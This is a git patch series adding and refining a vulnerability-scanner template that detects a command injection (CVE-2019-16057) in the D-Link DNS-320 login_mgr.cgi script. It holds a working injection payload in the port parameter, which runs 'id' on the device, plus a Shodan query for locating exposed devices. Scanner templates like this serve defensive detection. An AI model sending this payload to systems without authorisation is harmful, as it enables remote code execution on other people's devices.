From 779ac108c3055cc25ce8d06774bd8f5e84284ddd Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 4 Aug 2023 11:50:51 +0530 Subject: [PATCH 1/4] Create CVE-2019-16057.yaml --- http/cves/2019/CVE-2019-16057.yaml | 34 ++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 http/cves/2019/CVE-2019-16057.yaml diff --git a/http/cves/2019/CVE-2019-16057.yaml b/http/cves/2019/CVE-2019-16057.yaml new file mode 100644 index 0000000000..8e39ca081e --- /dev/null +++ b/http/cves/2019/CVE-2019-16057.yaml @@ -0,0 +1,34 @@ +id: CVE-2019-16057 + +info: + name: D-Link DNS-320 - Remote Code Execution + author: DhiyaneshDk + severity: critical + description: | + The login_mgr.cgi script in D-Link DNS-320 through 2.05.B10 is vulnerable to remote command injection. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-16057 + - https://web.archive.org/web/20201222035258im_/https://blog.cystack.net/content/images/2019/09/poc.png + - https://www.ftc.gov/system/files/documents/cases/dlink_proposed_order_and_judgment_7-2-19.pdf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-16057 + cwe-id: CWE-78 + metadata: + max-request: 1 + verified: true + shodan-query: html:"ShareCenter" + tags: cve,cve2019,lfi,rce,kev,sharecenter,dlink + +http: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username=" + + matchers: + - type: dsl + dsl: + - status_code == 200 + - 'contains(body, "uid=") && contains(body, "gid=")' + condition: and From 8a190665966cec91464dcd357c9b38bed34b3bd3 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 4 Aug 2023 11:54:37 +0530 Subject: [PATCH 2/4] trail space fix --- http/cves/2019/CVE-2019-16057.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2019/CVE-2019-16057.yaml b/http/cves/2019/CVE-2019-16057.yaml index 8e39ca081e..1e41acb821 100644 --- a/http/cves/2019/CVE-2019-16057.yaml +++ b/http/cves/2019/CVE-2019-16057.yaml @@ -30,5 +30,5 @@ http: - type: dsl dsl: - status_code == 200 - - 'contains(body, "uid=") && contains(body, "gid=")' + - 'contains(body, "uid=") && contains(body, "gid=")' condition: and From 8071fc93cac0b4c34254835bc2e35034dbc2eb89 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Fri, 4 Aug 2023 13:38:10 +0530 Subject: [PATCH 3/4] fix update matcher --- http/cves/2019/CVE-2019-16057.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2019/CVE-2019-16057.yaml b/http/cves/2019/CVE-2019-16057.yaml index 1e41acb821..717b05140a 100644 --- a/http/cves/2019/CVE-2019-16057.yaml +++ b/http/cves/2019/CVE-2019-16057.yaml @@ -30,5 +30,5 @@ http: - type: dsl dsl: - status_code == 200 - - 'contains(body, "uid=") && contains(body, "gid=")' + - contains_all(body, "uid=", "gid=") condition: and From 5cfac72c37f574539c2c05c1140c8882ab3884df Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sat, 5 Aug 2023 11:19:00 +0530 Subject: [PATCH 4/4] fix false positive --- http/cves/2019/CVE-2019-16057.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/http/cves/2019/CVE-2019-16057.yaml b/http/cves/2019/CVE-2019-16057.yaml index 717b05140a..5f4cceb6f5 100644 --- a/http/cves/2019/CVE-2019-16057.yaml +++ b/http/cves/2019/CVE-2019-16057.yaml @@ -30,5 +30,5 @@ http: - type: dsl dsl: - status_code == 200 - - contains_all(body, "uid=", "gid=") + - contains_all(body, "uid=", "gid=", "pwd&id") condition: and